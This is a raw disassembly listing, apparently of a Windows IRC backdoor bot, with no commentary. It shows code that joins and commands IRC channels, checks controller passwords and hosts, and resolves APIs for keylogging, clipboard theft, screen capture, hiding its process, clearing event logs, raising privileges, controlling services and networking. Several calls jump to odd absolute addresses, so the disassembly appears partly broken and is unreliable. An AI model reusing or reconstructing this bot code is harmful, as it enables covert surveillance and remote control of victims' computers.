		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2660E9Fh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E5A4[eax]
		nop
		call	near ptr 2680896h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E5A4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E390[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DC4
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset unk_429D9C


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D78
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset unk_429D4C


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D30
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+arg_10]
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429D0C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CE8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		nop
		call	near ptr 2660E9Fh


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C78
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C54


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D120 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB50C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C50 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+arg_24], offset off_429160


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B5C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB504, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		call	near ptr 2660E9Fh
		nop

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB700, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB658, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB710, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB700, ebx
		mov	dword_4CB55C, eax
		jz	short loc_409C11
		cmp	dword_4CB674, ebx
		jz	short loc_409C11
		cmp	dword_4CB658, ebx
		jz	short loc_409C11
		cmp	dword_4CB568, ebx
		jz	short loc_409C11
		cmp	dword_4CB544, ebx
		jz	short loc_409C11
		cmp	dword_4CB5BC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6B4, ebx
		jz	short loc_409C11
		cmp	dword_4CB710, ebx
		jz	short loc_409C11
		cmp	dword_4CB574, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB714, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB68C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		nop
		call	near ptr 26709D6h
		mov	dword_4CB718, eax
		mov	dword_4CB714, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2690B08h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB704, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB594, eax
		jz	short loc_409D01
		cmp	dword_4CB660, ebx
		jz	short loc_409D01
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB704, ebx
		jz	short loc_409D01
		cmp	dword_4CB624, ebx
		jz	short loc_409D01
		cmp	dword_4CB644, ebx
		jz	short loc_409D01
		cmp	dword_4CB6A8, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB71C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		cmp	dword_4CB620, ebx
		mov	dword_4CB5D8, eax
		jz	short loc_409D68
		cmp	dword_4CB528, ebx
		jz	short loc_409D68
		cmp	dword_4CB5F0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		call	near ptr 26709D6h
		nop
		mov	dword_4CB720, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB71C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi
		cmp	dword_4CB6C4, ebx
		mov	dword_4CB5E4, eax
		jz	short loc_409E1B
		cmp	dword_4CB608, ebx
		jz	short loc_409E1B
		cmp	dword_4CB678, ebx
		jz	short loc_409E1B
		cmp	dword_4CB554, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5B8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB630, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB724, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		cmp	dword_4CB638, ebx
		mov	dword_4CB6C0, eax
		jz	short loc_409E60
		cmp	dword_4CB610, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB724, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		cmp	dword_4CB648, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409F0E
		cmp	dword_4CB530, ebx
		jz	short loc_409F0E
		cmp	dword_4CB538, ebx
		jz	short loc_409F0E
		cmp	dword_4CB59C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB5A0, ebx
		jz	short loc_409F0E
		cmp	dword_4CB54C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB614, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB724, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB534, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		nop
		call	near ptr 26709D6h
		mov	dword_4CB728, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB724, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB698, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB65C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB69C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		cmp	dword_4CB640, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A017
		cmp	dword_4CB698, ebx
		jz	short loc_40A017
		cmp	dword_4CB6A0, ebx
		jz	short loc_40A017
		cmp	dword_4CB65C, ebx
		jz	short loc_40A017
		cmp	dword_4CB578, ebx
		jz	short loc_40A017
		cmp	dword_4CB524, ebx
		jz	short loc_40A017
		cmp	dword_4CB69C, ebx
		jz	short loc_40A017
		cmp	dword_4CB510, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		nop
		call	near ptr 26709D6h
		mov	dword_4CB730, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB72C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6F8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB564, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB654, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		mov	dword_4CB62C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi
		cmp	dword_4CB5C4, ebx
		mov	dword_4CB6EC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6F8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB564, ebx
		jz	loc_40A2E8
		cmp	dword_4CB600, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5AC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	loc_40A2E8
		cmp	dword_4CB654, ebx
		jz	loc_40A2E8
		cmp	dword_4CB650, ebx
		jz	loc_40A2E8
		cmp	dword_4CB584, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6A4, ebx
		jz	short loc_40A2E8
